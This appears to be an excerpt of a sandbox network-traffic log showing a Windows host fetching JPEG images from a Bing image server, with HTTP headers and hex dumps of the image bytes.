2024-12-06 23:15:49 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 308655 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1A9F2CF3E4F148888EF0655B83AB5ED7 Ref B: EWR30EDGE0311 Ref C: 2024-12-06T23:15:49Z Date: Fri, 06 Dec 2024 23:15:49 GMT Connection: close
2024-12-06 23:15:49 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 32 34 3a 34 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:24:488C
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 7a 0f 5a 1b b7 24 0f 6e f4 a0 10 d9 38 c7 6a 29 ec c0 0f 1f 4f 7a 09 c7 38 3c 76 14 60 6e ce 39 a2 a4 04 42 0a e4 67 f1 a4 52 bb c8 07 e6 c7 34 ea 14 10 d8 24 73 eb 4e fb 80 63 27 3c f1 48 c0 95 c0 38 39 eb 41 cf 6c 63 bd 2d 1d 80 28 a2 8a 40 4a 76 6e f9 b8 fa d2 80 17 b7 14 8d b4 65 8f 53 4d 57 ca 10 5b 2d d8 57 2f 2b 68 e4 e4 72 5a 6c 3c 8c f1 b7 22 98 d9 1f 28 6f a0 a5 62 42 60 8c 1e d8 a3 fe 59 e7 38 3f de 3d aa a2 ac d0 25 ca af d0 6b 33 0e 0f 14 d0 4f f7 4d 2b 9c f1 df d6 88 b9 60 57 04 8a d9 34 91 d1 15 cb 0b d8 40 ec 38 e4 63 d6 9d c9 65 de 09 07 d2 8c 97 7d a7 07 1d 71 da 9e c7 6e 06 7a 8e 9d ea 24 ed 6b 2d 4c e5 24 9a d3 51 24 00 30 60 b9 23 d3 d2 9c c5 59 48 fb de a2 9a ce a3 19 6d 83 3d 3b d3 09 3d 4d 25 06 d2 77 22 34 dc 9d 98 f8 db 0a 76 2a Data Ascii: zZ$n8j)Oz8<v`n9BgR4$sNc'<H89Alc-(@JvneSMW[-W/+hrZl<"(obB`Y8?=%k3OM+`W4@8ce}qnz$k-L$Q$0`#YHm=;=M%w"4v*
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 20 b6 01 c9 1d a9 fa 08 08 07 92 b4 50 41 00 13 de 8a 40 14 6d 1d b8 34 51 40 09 1f 0b 8f 9b bf de a5 03 19 f7 39 e7 de 80 31 eb f8 d0 39 6c 0e 4d 36 f5 00 a4 61 95 e9 9e 7a 67 14 31 01 b0 48 18 eb 9a 56 20 72 4e 07 ad 0a fd 80 28 a2 8a 40 00 7c c7 03 9f 6a 73 2b 18 f7 1f a0 a9 31 b7 81 51 cd 86 60 dd 40 18 e0 f7 fa 56 31 9f 34 bb 1c fe d5 ce 6a c3 00 03 ae 4e 3d 69 4f f9 cd 0b cf 38 a1 86 41 18 cf b5 6f be e7 40 bc 76 e2 84 04 f1 de 97 67 c9 92 d8 f6 a7 42 00 5c 8e b5 94 a4 92 6d 19 ca a2 50 6d 04 61 d1 8e 57 72 f6 23 ad 18 ee 10 10 7d 4d 46 d9 33 36 e1 8f 43 46 17 70 00 f1 8f 4a 5c b7 d7 fc c9 e4 be ad fe 1f e4 c1 f2 38 08 41 cf 73 da 83 bb 80 a1 49 26 9c e3 0a 3b fb d3 48 cb 00 09 1c 82 71 5a 41 e8 69 17 75 71 eb 1b 95 f9 b8 a7 04 03 90 39 a4 54 2c e0 Data Ascii: PA@m4Q@919lM6azg1HV rN(@\|js+1Q`@V14jN=iO8Ao@vgB\mPmaWr#}MF36CFpJ\8AsI&;HqZAiuq9T,
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: d0 75 ce 29 d1 db a9 c6 45 3a 58 06 dc 63 e9 55 a9 37 57 20 92 78 4f 23 91 8a 82 59 14 72 29 f2 41 b7 83 d6 a1 68 c8 a3 52 95 88 e4 90 8c 90 6a 07 9d 8f 1c 55 a3 18 3c 53 5a 05 da 47 7a 5a 96 ac 67 ca 24 6c 90 7f 0c d4 4c b2 74 04 e3 d2 b4 cc 18 e7 03 34 18 01 fe 1c 1f d6 a7 52 f9 91 95 fb ce a7 9a 72 07 ed 57 fe cf 8e 71 4a 20 c7 38 a9 57 1f 32 2b 47 1b 18 fe 94 34 24 ae 0d 5c 55 23 8c 53 bc a0 57 35 44 f3 19 72 c1 8f 71 50 49 06 78 ad 96 88 74 c7 35 14 90 80 dd 3f 2a 5b 0d 48 c5 7b 7c 2e 07 5a 8c c1 8e 47 5a d7 78 7e 5e 95 13 c0 3a e2 8b 59 97 cc 64 98 c8 e9 4b 1c 44 76 ad 23 6f ea 33 49 e4 7b 50 3e 62 8a c5 df 6d 49 e5 1f ef 55 bf 23 1d b9 a7 ac 39 f4 a0 57 2a 2c 47 e9 4e 58 33 c9 19 ab 89 09 0d c0 cd 4c b0 f6 c5 02 e6 28 ac 55 0e a3 61 69 a8 e9 b7 5a Data Ascii: u)E:XcU7W xO#Yr)AhRjU<SZGzZg$lLt4RrWqJ 8W2+G4$\U#SW5DrqPIxt5?[H{\|.ZGZx~^:YdKDv#o3I{P>bmIU#9W,GNX3L(UaiZ
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: f4 ee 4e d5 c1 7d a7 6e 0f 7f 6a 23 8b 2a ae 0b 7d ee c3 d3 de a4 61 b2 35 40 9b ba 96 66 cf 00 f7 07 b1 ac a5 28 a7 64 82 2b 55 15 ea 47 b2 47 6d bb c2 64 1e 3a 0f a5 7a cf ec d7 f0 a9 fc 65 78 35 ed 76 26 8b 40 b0 71 b5 36 63 fb 41 c1 e5 15 bb 81 c6 4f f5 ac cf 82 7f 0a b5 bf 88 1a 9c 37 73 47 3d 97 87 23 72 2e 75 16 51 86 2b 8c a4 79 e5 98 f4 e3 a7 7a fa ce d2 da cf 4c d3 61 d3 f4 eb 75 b6 b4 b5 8c 47 6f 02 74 45 03 18 e3 b9 eb 9e e6 b9 2b 55 6f 44 7a d8 3a 1c a9 4a 7f 24 48 02 24 6b 14 51 c6 91 c4 a1 23 89 06 11 14 0c 05 51 d8 01 51 ab 6d 52 4e 3d be b4 c6 94 a7 3f 89 15 17 99 bb a0 20 67 83 5c ca cb 43 d2 6c 9d 64 0c 30 0e d6 fc c1 a0 97 3c b6 38 1d 4f 7a ae 8d 96 fa 73 c7 7a 95 27 06 51 b8 7f 86 69 5c a4 91 20 0d bb 6a e7 23 ae 2a cc 28 fe 5e 08 65 Data Ascii: N}nj#}a5@f(d+UGGmd:zex5v&@q6cAO7sG=#r.uQ+yzLauGotE+UoDz:J$H$kQ#QQmRN=? g\Cld0<8Ozsz'Qi\ j#(^e
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 7b 8c e3 a5 2a 72 ba d4 24 a3 46 ce d6 23 03 2a 36 82 31 8c 9d dd 6a 66 66 65 1b ca b8 1e 8d 8e 7f 1a 95 51 42 03 e5 89 18 f0 73 db 1f d2 a1 ce c7 0a 06 3a e4 11 91 8a cd 34 ee d1 aa a8 aa a0 52 c5 7e 6c 11 ee 72 69 c0 65 72 0f 3e f4 aa 01 e4 81 81 da 9c aa 79 61 b8 71 9e 2a 74 7a 9a 5e da 23 dc bf 61 1b 2f 3b e2 c6 a5 a8 10 db 6c 74 57 04 8f bb b9 dd 40 07 f0 04 d7 d5 11 f7 e9 f5 af 10 fd 86 bc 38 da 67 c3 ad 4b c5 4d 32 b3 78 82 e4 41 14 4b 9c c7 1c 2c 41 2d ee 49 3d 2b db a3 20 2f 18 ae 2a 92 bc 99 e8 47 48 a4 48 4f 41 4b d1 69 8a 47 4e d4 f5 3b ab 2e 83 b0 e1 c2 e6 9c bf ce 98 00 dd 8e f4 e1 c7 d2 a8 63 94 63 ae da 70 1f 35 22 f3 4e 07 b7 af 73 40 75 0e 76 92 7a 7b d2 f5 e2 91 7e ef d0 f7 a7 63 d7 af 5a 40 0a 3b 52 f2 3a 52 81 9e b4 60 0e 9f 9d 17 18 Data Ascii: {r$F#61jffeQBs:4R~lrier>yaqtz^#a/;ltW@8gKM2xAK,A-I=+ /GHHOAKiGN;.ccp5"Ns@uvz{~cZ@;R:R`
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: a4 3f 74 12 33 c5 3e 1b 3b 99 38 8a 26 66 e9 8e f5 a2 94 7a 12 ee 2a ca db 78 35 34 6e a5 70 fc fb e6 9d 1e 99 7d bf 0f 6e 54 7a e4 11 57 ed f4 19 59 b7 37 23 d0 1f eb 49 d4 80 8a 21 d8 f4 63 c7 e9 52 c9 76 c6 13 11 c1 52 3d 2b 45 6d ec 15 4a 3c 7b 02 64 70 72 49 f7 cd 67 ea 42 dc 30 31 2e 07 a6 72 7f 1a 23 66 c0 a4 c3 b0 a6 9e 3d 29 cd 92 de d4 ca d4 42 b4 61 97 9a 89 93 1c 54 99 23 a7 4a 6b 1e c6 9a 11 1e d1 fd ea 5c fe 74 e2 31 48 c0 f1 8c 7d 69 89 86 71 d3 9a 76 4e ef 63 4d c1 a7 2e 4f e3 40 58 72 9a 7f a5 31 45 48 bd 2a 46 2a 83 b7 14 a4 52 01 8e 4d 2a 92 16 80 14 03 b7 27 8a 4c 63 93 cd 38 1f 97 f9 51 93 f5 a0 43 7a 36 0d 3b 20 0c 77 a4 c0 1c d1 83 de 81 68 3c 1a 76 3d 2a 30 48 a7 ab 1a 07 d0 7f d6 97 b8 c5 37 3e ff 00 85 28 fb b8 aa 10 e0 3e 5c 75 Data Ascii: ?t3>;8&fzx54np}nTzWY7#I!cRvR=+EmJ<{dprIgB01.r#f=)BaT#Jk\t1H}iqvNcM.O@Xr1EHFRM'Lc8QCz6; wh<v=*0H7>(>\u
2024-12-06 23:15:50 UTC	16067	IN	Data Raw: 4a a1 8c 78 18 39 3d 07 5a 6f 02 30 7a 92 73 9a 50 73 18 29 91 83 d7 be 68 e6 d0 85 06 2b 00 31 b4 1e 9c 9f 7f 4a 4c e1 c8 c3 74 f5 ef f5 a7 04 f9 7e f8 19 1d cf 7f a5 34 e0 2a a6 30 7d ab 48 ca e8 36 dc 52 72 b9 31 90 7d aa 50 14 0d f9 3e 98 14 c5 04 31 56 72 bd 33 c6 46 2a 48 40 10 90 c4 64 fa 52 e6 1f 2f 56 3d 57 31 8e a1 b1 81 ef e9 53 46 a0 28 0d 93 82 32 2a 35 f9 94 02 70 9d b1 52 c6 08 62 07 38 e0 d6 72 91 71 83 b9 28 56 e9 d3 df d2 8c 67 9e e2 82 70 d8 23 91 4a a7 2e 48 3d 46 2b 3b ab 9a 02 85 28 30 1b 39 fc ea 4d b9 6c 16 5c d2 2a e7 d3 23 a7 ff 00 5a 9d 1e 7a 01 c0 ed dc d1 27 64 1b 8b 18 6e 70 00 c1 c7 ad 3d 7e 57 00 26 49 e6 91 5b ea 38 c1 fc 29 e3 1b 78 71 c7 38 f4 ac ef dc 64 8a 73 82 e9 d3 d2 9e a0 07 00 ee 0a 79 15 0c 63 6f 1b f0 4f 5a 91 Data Ascii: Jx9=Zo0zsPs)h+1JLt~40}H6Rr1}P>1Vr3FH@dR/V=W1SF(25pRb8rq(Vgp#J.H=F+;(09Ml\#Zz'dnp=~W&I[8)xq8dsycoOZ
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 8e b8 37 bf 1d 3c 44 c1 98 aa dc 2c 20 8e 76 85 8d 57 1f 85 7a 59 6d 3f de 49 f6 47 93 9b 3e 5a 2a 37 d1 b3 84 62 32 36 96 dd c6 dc ff 00 2a 54 de ac 09 1f 30 e8 0f f8 54 fe 4c 2f 29 00 30 3d 71 d3 fa 54 72 18 56 5f 97 ee 8e 06 df 5f 7c f5 af 6a 12 57 3e 7e 75 14 e3 68 a0 98 23 ae 53 39 38 c9 e8 a0 ff 00 2a 74 e8 9b 49 4c f1 d4 00 48 a7 6c 44 8c 83 2c 9b 49 f9 b6 8e 33 ef 51 ed 41 95 3b 8a f3 86 07 8c 0e e4 7a 53 bf 63 9e 2d 35 69 09 6e e0 02 4c 61 b8 e8 73 8f c6 a4 b3 1f 3b 6f 83 ae 48 38 3c 7b 73 4a aa a3 96 94 e3 bf 18 07 e9 45 bb 49 23 6e 62 cc 17 a2 9f 5f fe b5 29 4a e9 b4 57 32 49 a6 39 72 1d 8b 1c 70 39 90 60 8f 6c 8e 31 ed 50 bd c3 33 91 8c a9 38 23 d4 54 d3 9f 32 32 0b 6d e4 12 70 48 c5 36 28 e3 89 41 f3 8a 87 18 c8 1d 7f 0c 76 ac d5 96 e5 53 95 Data Ascii: 7<D, vWzYm?IG>Z7b26T0TL/)0=qTrV__\|jW>~uh#S98*tILHlD,I3QA;zSc-5inLas;oH8<{sJEI#nb_)JW2I9rp9`l1P38#T22mpH6(AvS
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: f5 77 8b e6 c4 85 47 52 83 3c fd 3a d7 18 da c5 ac 49 b2 1b d2 be 9b 46 33 53 69 9a dd c3 70 ce 1b 2d d7 da b1 f6 52 4b 62 3d 8a b9 d1 c7 e2 78 3c e3 17 95 34 af 9f 98 88 88 3f a8 ad 18 75 59 82 ab 5b c4 53 77 4f 35 7f a5 65 5a 6a 41 d3 64 e4 6e 6f 45 c6 6a 29 ac 92 e5 8f 95 76 61 53 cb 1a 8e 54 dd ac 4b a6 ba e8 6e dc 78 95 ed 24 11 be 63 90 1e 7b 0f 7a 6d c7 8c dd 1b 02 48 5d 9b a7 42 7a 57 21 a8 59 5c c3 27 cd 3c 97 71 b7 42 0e 7a fb d7 3b 7e 24 5b a6 52 92 46 aa 78 c7 20 0f ad 6d 4e 8c 64 1e c6 0d 1e 99 07 8c 6f 54 80 f0 79 aa dd 57 03 0b f4 35 b3 a2 f8 98 4c ea cd 14 91 fb 1e 33 5e 41 67 ac cb 6a e1 56 5d cb ee 32 0f e7 5b 56 7e 31 92 38 82 1f 2c 63 83 f2 8f e7 d7 35 53 c3 ce da 22 25 46 0f 63 d8 6d 2f 6d 26 6d f9 2a 4f d3 02 a5 b8 89 9d 81 8b 0e bd Data Ascii: wGR<:IF3Sip-RKb=x<4?uY[SwO5eZjAdnoEj)vaSTKnx$c{zmH]BzW!Y\'<qBz;~$[RFx mNdoTyW5L3^AgjV]2[V~18,c5S"%Fcm/m&m*O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49841	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:49 UTC	375	OUT	GET /th?id=OADD2.10239357290389_1WHXB2JL6W3CH3HF1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:50 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 397494 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 77090E3DE1AE48AFBEDDB4B2E5D6C1D9 Ref B: EWR311000104023 Ref C: 2024-12-06T23:15:50Z Date: Fri, 06 Dec 2024 23:15:49 GMT Connection: close
2024-12-06 23:15:50 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 32 34 3a 31 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:24:108C
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 7c b0 63 cf 38 c8 f7 ad 18 83 38 c0 04 0e 99 22 b2 ec 5d ad d7 20 d5 a9 ae ee 25 f9 43 90 a3 a0 ae a8 b4 d6 a7 9d 24 ee 68 2b 45 0a f2 41 c5 52 d4 65 4b 96 01 93 38 e9 51 29 77 fb dd 29 70 cb fd e1 47 36 9a 12 a3 6d 4a c9 66 04 dd 0e d2 3b d4 72 59 88 df 29 26 0f a6 3a 55 e6 e3 ab e2 aa b1 c4 9f 33 83 ed 9a 22 d9 65 66 17 67 e6 d8 d8 5e b8 ef 4c 17 fe 67 ca 24 19 5f bc a2 af 4d 75 1a c7 9c e3 02 b3 e5 9e d5 d4 91 6e ac d9 ea ac 03 7e 35 b4 55 fa 01 6a 2b a4 31 ec 27 fa d6 7d f0 59 24 c7 38 e8 05 43 33 6d e5 03 05 f5 c7 4f ca 9b e7 8d b9 0d 92 3b d5 72 75 29 68 43 7d 0c 68 b9 93 e5 51 d0 8a 8a 39 55 d5 42 0e 3b 13 4f b8 88 4d 82 c4 ed f4 07 8c fb d5 7b a6 92 28 49 8b 05 41 c0 dd d7 f0 ad 12 be e3 b9 31 8b 73 e4 80 7d 79 e9 4e 96 53 12 ec 41 9d dc 9c 55 38 Data Ascii: \|c88"] %C$h+EAReK8Q)w)pG6mJf;rY)&:U3"efg^Lg$_Mun~5Uj+1'}Y$8C3mO;ru)hC}hQ9UB;OM{(IA1s}yNSAU8
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 41 19 03 92 b9 19 a7 74 84 f2 41 3d 30 7f 3c 8a 52 01 87 a7 7c 67 b8 e3 a7 ff 00 5a a1 6f 76 34 d4 6c d0 6d 0a 8a cc fb 49 23 3c 64 63 ad 17 27 e7 c1 8f 9e a4 ae 4e 7f 1a 15 a4 1b 18 ee 58 b3 d4 55 98 95 19 77 23 92 a7 dc 82 7e b5 9b a9 ca ef 21 b8 b5 14 d1 16 d4 8d c2 98 d4 96 03 1f 2f 19 fc 69 cf 11 91 83 26 14 a7 07 8c 0f d3 bd 3b c9 d9 92 86 42 7d e4 c5 35 40 2e c9 29 50 39 21 4b f2 0f a8 3f e3 59 f3 27 aa 34 8d ef 7e 62 1f 20 7d e2 c4 a9 e8 54 1c 9c fb 1a 74 69 86 da 07 3d 78 1f e7 14 61 d9 ce e9 0b b6 3a 13 c8 fc 7f c2 bd 73 f6 46 f8 65 61 e3 ef 1b 5d dc f8 82 d6 4b 8d 03 45 80 49 75 12 ca 63 17 13 3e 44 50 96 1c e0 e1 98 e0 e7 0b da 89 cf 95 73 48 e9 84 65 37 6b 9e d5 ff 00 04 fe f0 ee b1 a0 78 07 56 d7 f5 11 e4 58 f8 96 48 24 d3 10 b0 2e eb 1f 98 Data Ascii: AtA=0<R\|gZov4lmI#<dc'NXUw#~!/i&;B}5@.)P9!K?Y'4~b }Tti=xa:sFea]KEIuc>DPsHe7kxVXH$.
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 73 d8 d2 b5 b4 c1 7c ed 84 e7 bd 30 4a c1 40 6c e0 55 88 8a 48 98 71 8f fe b5 59 8a 38 de 15 04 0d c3 83 51 a1 0e f9 26 9e ea 62 e4 3d 21 0a d0 11 9d 80 e0 77 c5 31 78 6c 66 a4 49 df 04 12 70 6a 09 1d 55 b2 39 a6 e4 09 6a 49 7d 26 70 10 f4 18 e2 ab 42 87 7f bd 48 bf 3b e7 b5 48 b1 31 39 0b c5 08 06 4e 87 76 e3 cd 07 95 c0 ab 3e 53 95 19 a7 c3 6d bb a9 01 7d ea ae ba 13 d0 ab 0a b1 6a bf 63 19 76 08 48 55 3d cd 47 e5 05 7c 28 cd 58 85 58 b0 20 10 6a a3 51 21 38 dc b9 a8 69 92 da c6 24 62 ac 8e 06 d9 10 e5 4e 7b 7a 8a 2c cd 8f 0d 32 1c a8 fb b9 e1 8f bd 21 f3 9e 31 11 2d b6 a5 82 c7 7f 6f ce 93 a8 c9 51 56 d4 ad a8 c5 15 cf cf 6d 1e cc 13 95 1f 77 f0 aa d0 d8 93 d4 73 5d 05 9e 9c 4f 03 a5 5d 8e cd 11 b2 40 c8 a8 94 9b 0e 74 b6 39 98 b4 d7 3d 06 00 f6 a9 d7 Data Ascii: s\|0J@lUHqY8Q&b=!w1xlfIpjU9jI}&pBH;H19Nv>Sm}jcvHU=G\|(XX jQ!8i$bN{z,2!1-oQVmws]O]@t9=
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 7a 52 e6 43 e5 6d 17 2d 9c 15 21 4f de c5 58 89 02 2e 3b 9e d9 e2 a8 db c6 c8 bc 7f fa aa d4 6e db b7 13 d0 67 1f fd 7a 5c c8 5c b2 38 1f da fa cb ed bf b3 ae b2 f8 cb 58 5d da 5d af 04 f0 24 d8 71 8e 9c 49 d4 d7 c6 3f 30 b3 0a 38 25 b3 ee 6b ee 2f da 2e f7 ec 7f b3 df 8c 26 26 21 e7 69 a2 dd 4c 98 c1 32 4a 83 00 1e e7 9c 77 cf d2 be 1e 71 9b 55 64 7d cc b9 2c 49 f9 80 3e d5 ea e0 65 fb b5 ea 78 99 94 5a a8 bb bb 10 1e 3a d1 4a 72 17 38 3c 8c d2 7b 0e d5 ea 9e 3d 83 ae 71 da 8c 8d bb bb 7a d0 38 62 79 e7 de 8a 60 23 13 c0 1b 73 ef e9 4b 45 14 80 32 3f 2a 01 cf 4a 28 a0 00 a8 3c 11 9e f4 7f 10 02 8a 28 00 a2 8a 28 00 04 f4 3f a5 0a 32 fc 00 48 04 e0 fa 0a 29 55 b6 b0 3d 81 cd 27 b1 51 d6 48 b1 b5 59 b7 b3 c6 c3 80 bf 29 3f 85 11 ec f2 5b 70 52 d9 3c b0 c2 Data Ascii: zRCm-!OX.;ngz\\8X]]$qI?08%k/.&&!iL2JwqUd},I>exZ:Jr8<{=qz8by`#sKE2?*J(<((?2H)U='QHY)?[pR<
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: e8 a0 d7 3e c4 9e b5 ee df f0 4f cd 0d 75 4f 8e 6f aa 4b 1e e5 d0 f4 a9 ae 63 6c 70 b2 b9 11 29 cf 4e 8c d5 9c e5 c9 07 23 a6 94 79 a4 91 f6 4e 9b a7 d8 69 7a 6d be 99 a4 59 45 67 a7 d8 c6 20 b4 b6 88 61 21 8c 74 00 7b f5 c9 e4 92 6a c0 cf 07 15 22 a1 0b c6 05 24 9b 87 d2 bc 4e 63 d3 e5 23 65 27 bd 30 80 3a f2 29 c7 3d d6 93 6b 7a 54 f3 95 c8 31 b1 da 9c bb 07 53 c5 29 59 39 e2 9a c8 e1 49 f4 a4 ea 15 ca 29 68 fa 0e 94 9e 6a 0e 83 8a 8d c3 ff 00 f5 aa 33 b8 72 47 35 3e d4 5c 84 e6 71 d9 33 8a 6b 4f 9f e0 fc 6a 1d cc 3b 50 cc 4f 18 e6 97 b4 0e 52 52 c5 ba 2e 0f b9 a4 da 7b d4 45 9f b6 45 01 a4 3c d1 ed 03 94 9b 62 8e b4 c2 a9 48 37 9a 7a 27 73 9c 53 e6 62 68 8f cb 43 c6 69 ad 0f 61 d2 ac 6c c7 38 a6 90 7d 29 a9 0a c5 56 88 0c 8e 29 ac bd aa d1 8b 38 e0 d3 Data Ascii: >OuOoKclp)N#yNizmYEg a!t{j"$Nc#e'0:)=kzT1S)Y9I)hj3rG5>\q3kOj;PORR.{EE<bH7z'sSbhCial8})V)8
2024-12-06 23:15:50 UTC	16384	IN	Data Raw: 98 5c cc 78 0c 07 e1 8a 91 5a 47 38 92 70 ab ed c9 aa 9b 88 a7 ab a0 5e 77 51 72 5c 4b df bb 66 c2 a1 6c 77 34 f5 7d 8b fb b8 e3 5f 72 6a 88 9d 87 03 8a 4d e5 9b 97 c7 b5 57 31 3c a5 b9 67 90 f0 4a fe 15 08 70 73 bc ee f4 c5 46 76 fa d3 43 28 6a 01 22 68 dc 46 fb 9b a1 a2 e0 ef 5e 13 8f 50 05 47 e6 03 d0 0c 7b 8a 72 e0 ff 00 85 00 56 70 a1 b3 8e 69 8c ff 00 2f 02 ae 48 a9 b7 84 03 1d c5 43 20 c7 d2 a7 96 c5 dc ac 4b 7d 29 8d c5 58 65 cd 46 c0 0e 0d 49 57 21 6e b4 53 d8 2d 23 63 a0 e2 8e a3 19 c9 a4 c1 ea 69 c4 e2 98 49 ef 40 c5 2b 51 b0 f4 a7 67 e5 c5 35 89 a0 68 63 0a 6b 13 4a c7 d6 98 4f e5 52 d8 08 49 a6 31 f4 a7 31 ca f1 4c c1 3c 1a 56 1a 13 71 3d e9 03 62 9c 00 a4 c6 39 a4 30 dc dd a8 0c 7b d0 06 79 e9 4a a3 2d 40 08 33 52 c6 be a7 14 b1 e3 76 18 75 Data Ascii: \xZG8p^wQr\Kflw4}_rjMW1<gJpsFvC(j"hF^PG{rVpi/HC K})XeFIW!nS-#ciI@+Qg5hckJORI11L<Vq=b90{yJ-@3Rvu
2024-12-06 23:15:50 UTC	16069	IN	Data Raw: 4d a3 07 ec b2 1e 54 7e 74 d5 8b 63 f3 c1 ad 96 8e 3f e1 35 42 f5 4a c9 8c 82 0d 09 15 cc 29 98 18 76 a7 6e f5 99 20 22 42 32 47 e3 52 33 ba b9 01 6a 36 3c 96 2d cd 68 b4 13 23 70 c3 80 fc 75 eb 4c c9 db cd 0f c7 5a 6f b1 aa b8 98 3b 61 78 a6 33 67 bd 3c 8e b8 eb 51 f5 e0 73 40 ac 2a 67 76 73 8a 96 3b 87 55 c7 18 f7 a8 95 0f 71 91 4a cb 85 f7 a5 74 3e 52 4f 31 24 6c 48 95 26 f8 a3 5e 12 a9 f3 bb 3f ce 9c c4 85 24 d4 c8 68 92 e2 e1 59 71 e5 82 09 aa a7 66 e2 7a 0e de d4 ed ca 7a 0c 50 48 0b c2 64 fa d1 74 82 d7 23 c8 dd 90 3f 5a 7c 6c bd 36 03 4a 1d 57 93 1f e9 4d 79 40 e4 26 0f 6a 4e 43 42 cb 1a 15 ca f1 59 da a4 45 b4 fb 95 47 c3 18 9f 07 d0 e0 e2 ad 4d 3b 1f 97 35 4f 52 72 2c 6e 09 27 02 26 3c 7b 29 aa 85 ee 85 2d 99 e4 27 86 da 56 9c b8 e1 7a 6d eb 55 Data Ascii: MT~tc?5BJ)vn "B2GR3j6<-h#puLZo;ax3g<Qs@*gvs;UqJt>RO1$lH&^?$hYqfzzPHdt#?Z\|l6JWMy@&jNCBYEGM;5ORr,n'&<{)-'VzmU
